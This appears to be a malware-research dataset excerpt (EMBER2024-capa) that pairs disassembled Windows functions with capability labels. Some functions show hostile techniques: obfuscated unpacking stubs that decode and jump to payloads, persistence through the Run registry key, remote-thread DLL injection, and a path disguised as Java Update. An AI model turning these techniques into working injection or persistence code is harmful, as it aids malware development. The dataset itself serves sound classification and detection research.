joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405eba
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x405ede
xor eax, eax
test eax, eax
je 0x405ef0
cmp byte [ebp + eax - 0x121], 0x5c
je 0x405ef0
xor ecx, ecx
jmp 0x405ef3
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x409010]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryExA]
leave
ret 4

Function at 0x405f97
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422acc], 0
push esi
jne 0x405fce
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405fa8
mov dword [ecx*4 + 0x422ac8], eax
inc ecx
cmp ecx, 0x100
jl 0x405fa3
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405fff
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422ac8]
xor eax, esi
inc ecx
dec edx
jne 0x405fe1
pop edi
not eax
pop esi
ret 0xc

Function at 0x101091ae
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.1010922d
jae 0x101091ba
xor ecx, ecx
call fcn.1010922d
jae 0x101091e4
xor eax, eax
call fcn.1010922d
jae 0x101091f5
mov al, 0x10
call fcn.1010922d
adc al, al
jae 0x101091d6
jne 0x10109222
stosb byte es:[edi], al
jmp 0x101091bb
call fcn.10109239
dec ecx
loop 0x10109201
mov eax, ebp
call fcn.10109237
jmp 0x10109223
lodsb al, byte [esi]
shr eax, 1
je 0x10109249
adc ecx, 2
mov ebp, eax
jmp 0x10109223
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.10109237
cmp eax, 0x7d00
jae 0x10109221
cmp eax, 0x500
jae 0x10109222
cmp eax, 0x7f
ja 0x10109223
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x101091bb
pop ebp
ret 8
Function at 0x10005a7a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10005a89
pop dword [ebp - 0x1c]
mov eax, 0x10005a89
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xcebe6c89
add dword [ebp - 0x2c], 0x7f93d8c2
mov dword [ebp - 0x28], 0x2d8f3d1f
add dword [ebp - 0x28], 0x4a40f26
mov dword [ebp - 0x24], 0xcdefed28
add dword [ebp - 0x24], 0x7e5c5706
mov dword [ebp - 0x20], 0xcad8b134
add dword [ebp - 0x20], 0x35274ecc
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xa2d559f3
add eax, 0x6d2b6631
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x60757be1
sub dword [ebp - 0x2c], 0xec03128b
mov dword [ebp - 0x28], 0xbe10c97b
sub dword [ebp - 0x28], 0x7ca46806
mov dword [ebp - 0x24], 0x3bb6493f
add dword [ebp - 0x24], 0x27b9232d
mov dword [ebp - 0x20], 0xff23cbdd
add dword [ebp - 0x20], 0xdc3423
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3760a
push 0
call eax
mov ecx, 0x4576
xor edi, edi
add edi, eax
mov esi, 0x10047400
add esi, dword [ebp - 0x1c]
mov ebx, 0x26b4cced
add ebx, 0xc552a348
sub dword [ebp - 0x10], ecx
mov edx, dword [esi]
add dword [ebp - 0xc], esi
add edx, ebx
xor dword [ebp - 4], esi
mov dword [edi], edx
add dword [ebp - 8], eax
add edi, 0x5e7e50f7
sub edi, 0x5e7e50f3
add esi, 0xf8a0118
sub esi, 0xf8a0114
loop 0x10005b97
add eax, 0x108ab
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x85fa29df
add ecx, 0x8a05d621
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x10004cb2
Capabilities:
Create thread

Disassembly:
push 0x34
mov eax, 0x1001e015
call fcn.1001bb08
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0xd0], 1
jne 0x10004d76
mov eax, dword [ebp + 8]
cmp dword [eax], 7
jne 0x10004d76
cmp dword [esi + 0x248], ebx
sete al
cmp al, bl
sete al
cmp al, bl
je 0x10004d76
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
xor eax, eax
push 0x10020b70
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], ebx
mov word [ebp - 0x40], ax
call fcn.100074a3
xor eax, eax
push str._self
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 1
mov word [ebp - 0x30], ax
call fcn.100074a3
mov eax, dword [esi + 0x248]
mov byte [ebp - 4], 2
cmp eax, ebx
jne 0x10004d40
push 0x80004003
call fcn.1001d8d8
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
push edx
lea edx, [ebp - 0x30]
push edx
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 0x40]
push edx
push eax
call dword [ecx + 0xd0]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x30]
push eax
call edi
lea eax, [ebp - 0x40]
push eax
call edi
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x20]
push eax
call edi
mov eax, dword [esi + 0xd0]
cmp eax, 2
je 0x10004e53
cmp eax, 1
je 0x10004e53
mov eax, dword [esi + 0x244]
or dword [ebp - 0x14], 0xffffffff
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ebx
call fcn.100063a6
push dword [ebp + 8]
lea ecx, [esi + 0xe4]
mov eax, dword [ecx]
push eax
mov dword [ebp - 4], 3
call fcn.100084b0
push dword [esi + 0xc0]
lea edi, [esi + 0x240]
cmp dword [edi], ebx
setne byte [ebp - 0xd]
call dword [sym.imp.kernel32.dll_SetEvent]
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], ebx
je 0x10004de8
push dword [ebp - 0x1c]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
cmp eax, 1
jne 0x10004e15
cmp dword [esi + 0x23c], ebx
jne 0x10004e15
push edi
push ebx
push esi
push 0x10004c38
push ebx
push ebx
call dword [sym.imp.msvcr100.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 0x23c], eax
jmp 0x10004e53
cmp eax, 0xa
jne 0x10004e47
lea edi, [esi + 0x23c]
cmp dword [edi], ebx
je 0x10004e47
lea eax, [ebp + 8]
push eax
push edi
push 1
push 0xffffffffffffffff
push ebx
mov dword [ebp + 8], ebx
call dword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
test eax, eax
jne 0x10004e53
push dword [edi]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [edi], ebx
jmp 0x10004e53
cmp byte [ebp - 0xd], bl
jne 0x10004e53
mov ecx, esi
call fcn.1001d8d8
call fcn.1001bbe0
ret 4
Function at 0x10006690
Capabilities:
Hash data using fnv

Disassembly:
mov ecx, dword [esp + 4]
mov eax, 0x811c9dc5
jmp 0x100066a9
movzx edx, word [ecx]
imul eax, eax, 0x1000193
xor eax, edx
add ecx, 2
cmp ecx, dword [esp + 8]
jne 0x1000669b
ret

Function at 0x1000b06c
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x1000b0ba
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
test esi, esi
jne 0x1000b0cb
push 0xd
pop eax
jmp 0x1000b0f5
push edi
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x1000b0ce
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x1000b5af
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x100307e8]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.1001d8d8
mov ebx, eax
cmp ebx, esi
je 0x1000b622
lea ecx, [ebp - 0x74]
call fcn.10009ecc
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001ba56
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x1000b63a
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.1000b5af
cmp eax, esi
jne 0x1000b66c
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x1000b62a
lea ecx, [ebp - 0x74]
call fcn.10009ecc
push dword [ebp - 0x78]
mov ecx, edi
call fcn.1000af95
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.10009ecc
mov eax, esi
jmp 0x1000b608
Function at 0x100138c4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78c]
sub esp, 0x80c
mov eax, dword [0x100307e8]
xor eax, ebp
mov dword [ebp + 0x788], eax
push ebx
mov ebx, dword [ebp + 0x798]
push esi
mov esi, dword [ebp + 0x79c]
push edi
mov edi, dword [ebp + 0x794]
push 0x3ff
lea eax, [ebp + 0x389]
push 0
push eax
mov byte [ebp + 0x388], 0
call sub.msvcr100.dll_memset
push edi
push str.SOFTWAREClassesCLSID_sInprocServer32
mov edi, 0x400
lea eax, [ebp + 0x388]
push edi
push eax
call dword [sym.imp.msvcr100.dll_sprintf_s]
add esp, 0x1c
lea eax, [ebp - 0x7c]
push eax
push 0x20019
neg esi
push 0
lea eax, [ebp + 0x388]
sbb esi, esi
push eax
add esi, reloc.OLEAUT32.dll_SysReAllocString
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001395d
xor ecx, ecx
cmp eax, 2
sete cl
mov eax, ecx
jmp 0x100139a0
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x10023c4a
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 0x7c]
test eax, eax
je 0x10013987
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x100139a0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x78]
push eax
push ebx
call dword [sym.imp.msvcr100.dll__mbscmp]
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
mov ecx, dword [ebp + 0x788]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001ba56
add ebp, 0x78c
leave
ret

Function at 0x10013b9c
Capabilities:
Query environment variable

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
je 0x10013bbd
push dword [esp + 0xc]
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x10013bbd
inc esi
mov eax, esi
pop esi
ret

Function at 0x1001460e
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x100307e8]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x1001eac9
call fcn.1001bb3b
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x1a
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x10014668
push edi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__szPath_
call fcn.100178de
pop ecx
pop ecx
push ebx
push edi
call fcn.1001d8d8
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.10006d43
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x10014685
call fcn.100060e0
jmp 0x10014687
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call dword [sym.imp.msvcr100.dll__mbsnbcpy_s]
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x100146d3
call fcn.10007f79
jmp 0x100146d3
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.1001ba56
add ebp, 0x20c
leave
ret
Function at 0x100146fd
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x100307e8]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x1001eaf9
call fcn.1001bb3b
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x23
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x10014757
push edi
push str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.100178de
pop ecx
pop ecx
push ebx
push edi
call fcn.1001d8d8
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.10006d43
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x10014774
call fcn.100060e0
jmp 0x10014776
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call dword [sym.imp.msvcr100.dll__mbsnbcpy_s]
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x100147c2
call fcn.10007f79
jmp 0x100147c2
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.1001ba56
add ebp, 0x20c
leave
ret

Function at 0x10014eb7
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x1001eb59
call fcn.1001bb3b
mov esi, dword [ebp + 8]
xor eax, eax
xor edi, edi
xor ebx, ebx
mov word [esi], ax
mov dword [ebp - 4], edi
call fcn.1001d8d8
test eax, eax
je 0x10014ee2
call fcn.10014ea8
mov ebx, eax
push 0x104
push esi
push ebx
push edi
push 0x1002051c
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x10014f3d
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.100178de
pop ecx
pop ecx
push edi
push esi
call fcn.1001d8d8
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.10006f58
push eax
push esi
push 0x10023e3c
call fcn.100178de
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x10014f36
ret
cmp ebx, edi
je 0x10014f48
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x10014ff9
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x10014fa5
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x10014f01
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x10014ff9
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x10014ff9
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x10014f01
mov eax, esi
call fcn.1001bbe0
ret
Function at 0x1001628d
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x138]
sub esp, 0x1b8
mov eax, dword [0x100307e8]
xor eax, ebp
mov dword [ebp + 0x134], eax
push ebx
push 0x104
xor ebx, ebx
lea eax, [ebp + 0x30]
push ebx
push eax
call sub.msvcr100.dll_memset
add esp, 0xc
lea eax, [ebp + 0x30]
push eax
push ebx
push ebx
push 0x2c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x100162e8
xor eax, eax
mov ecx, dword [ebp + 0x134]
xor ecx, ebp
pop ebx
call fcn.1001ba56
add ebp, 0x138
leave
ret
push esi
lea eax, [ebp + 0x30]
push edi
mov dword [ebp + 0x28], 0xf
mov dword [ebp + 0x24], ebx
mov byte [ebp + 0x14], bl
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100162fd
sub eax, esi
push eax
lea eax, [ebp + 0x30]
push eax
lea ecx, [ebp + 0x14]
call fcn.10016afd
push str.JavaJava_Updatejucheck.exe
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.1001d8d8
add esp, 0xc
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp + 0x14]
call fcn.10007ace
push 0x22
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp + 0x14]
push 0x22
push eax
call fcn.10016def
add esp, 0xc
push eax
lea eax, [ebp - 8]
push eax
call fcn.1001d8d8
add esp, 0xc
push ebx
push esi
lea ecx, [ebp + 0x14]
call fcn.10007ace
push 0x40
lea eax, [ebp - 0x7c]
push ebx
push eax
call sub.msvcr100.dll_memset
mov ecx, dword [ebp - 8]
xor eax, eax
mov dword [ebp - 0x3c], ebx
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
cmp dword [ebp + 0xc], 0x10
stosd dword es:[edi], eax
mov dword [ebp - 0x80], 0x44
mov eax, ecx
jae 0x1001638f
lea eax, [ebp - 8]
add eax, dword [ebp + 8]
cmp dword [ebp + 0xc], 0x10
jae 0x1001639b
lea ecx, [ebp - 8]
push dword [ebp - 0x29]
mov dword [ebp + 0x20], ebx
push eax
push ecx
lea ecx, [ebp + 0x20]
mov dword [ebp + 0x24], ebx
mov dword [ebp + 0x28], ebx
call fcn.10016e6a
lea eax, [ebp - 0x25]
push eax
lea ecx, [ebp + 0x20]
mov byte [ebp - 0x25], bl
call fcn.10016b94
cmp dword [ebp - 0x10], 0x10
mov eax, dword [ebp - 0x24]
jae 0x100163cc
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x80]
push ecx
push ebx
push ebx
push 0x8000000
push esi
push ebx
push ebx
push dword [ebp + 0x20]
push eax
call fcn.1001d8d8
add esp, 0x28
test eax, eax
jne 0x10016415
xor edi, edi
lea ecx, [ebp + 0x20]
call fcn.1001685d
push ebx
push esi
lea ecx, [ebp - 8]
call fcn.10007ace
push ebx
push esi
lea ecx, [ebp - 0x24]
call fcn.10007ace
mov eax, edi
pop edi
pop esi
jmp 0x100162d2
mov edi, esi
jmp 0x100163f0
Function at 0x1001d8d8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1001d8e7
pop dword [ebp - 0x28]
mov eax, 0x3205acc3
add eax, 0xddfc2c24
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x3629c
push 0
mov eax, 0xe1ee63b
sub eax, 0xfe1ce5f7
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x943a55eb
sub ecx, 0x943a1996
xor ebx, ebx
add ebx, eax
mov esi, 0xa7fc83d
add esi, 0x583a1c3
add esi, dword [ebp - 0x28]
mov edi, 0x396f435b
sub edi, 0x2420653b
add dword [ebp - 0x24], 0x81f8963f
mov edx, dword [esi]
add dword [ebp - 0x24], eax
xor edx, edi
add dword [ebp - 0x18], edi
mov dword [ebx], edx
mov dword [ebp - 0x1c], 0x59d195c7
add ebx, 0xde491883
sub ebx, 0xde49187f
add esi, 0xe15c9d39
add esi, 0x1ea362cb
loop 0x1001d948
add eax, 0x75523953
add eax, 0x8aaeaad4
mov ebx, eax
add eax, 5
mov ecx, 0xd6312856
add ecx, 0x39ced7aa
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x1000a7e4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x1000a7f3
pop dword [ebp - 0x38]
mov eax, 0xeb1c7f54
add eax, 0x24e4289f
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x3f42a753
sub dword [ebp - 0x48], 0xf0f06208
mov dword [ebp - 0x44], 0xdb74aab
sub dword [ebp - 0x44], 0xdb83fe66
mov dword [ebp - 0x40], 0x1d4374ab
add dword [ebp - 0x40], 0x2f08cf83
mov dword [ebp - 0x3c], 0x85f55d8d
sub dword [ebp - 0x3c], 0x85f55d8d
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x28dd2f5e
add dword [ebp - 0x48], 0x4b9539f8
mov dword [ebp - 0x44], 0xb676bcb7
sub dword [ebp - 0x44], 0x750a5b42
mov dword [ebp - 0x40], 0x13c33c05
sub dword [ebp - 0x40], 0xb053cf99
mov dword [ebp - 0x3c], 0x48627410
sub dword [ebp - 0x3c], 0x48627410
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x377ac
push 0
call eax
mov ecx, 0x57de63ef
sub ecx, 0x57de1e03
mov edi, eax
mov esi, 0x8208614b
add esi, 0x8dfc12b5
add esi, dword [ebp - 0x38]
mov ebx, 0x27e8936b
mov edx, dword [esi]
xor dword [ebp - 0x30], 0xbbbc8997
add edx, ebx
mov dword [ebp - 0x24], 0x9347cdb8
mov dword [edi], edx
add dword [ebp - 0x18], eax
add edi, 0x173332e4
sub edi, 0x173332e0
add esi, 4
loop 0x1000a905
add eax, 0x5893cf38
sub eax, 0x5892c4b5
mov ebx, eax
add eax, 5
mov ecx, 0x32c5d6b2
add ecx, 0xdd3a294e
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x61cc12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x69
je 0x61cc1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x61cc1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x61cc1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x74
je 0x61cc1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x61cc1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
jne 0x61cc137d
mov eax, dword [ebp - 0x14]
cmp eax, 0x43
je 0x61cc1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x61cc1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
je 0x61cc1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x61cc1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x72
je 0x61cc1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x61cc1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x61cc1376
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x61cc137d
mov eax, 1
jmp 0x61cc1382
mov eax, 0
leave
ret

Function at 0x61cc1384
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x61cc149c
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret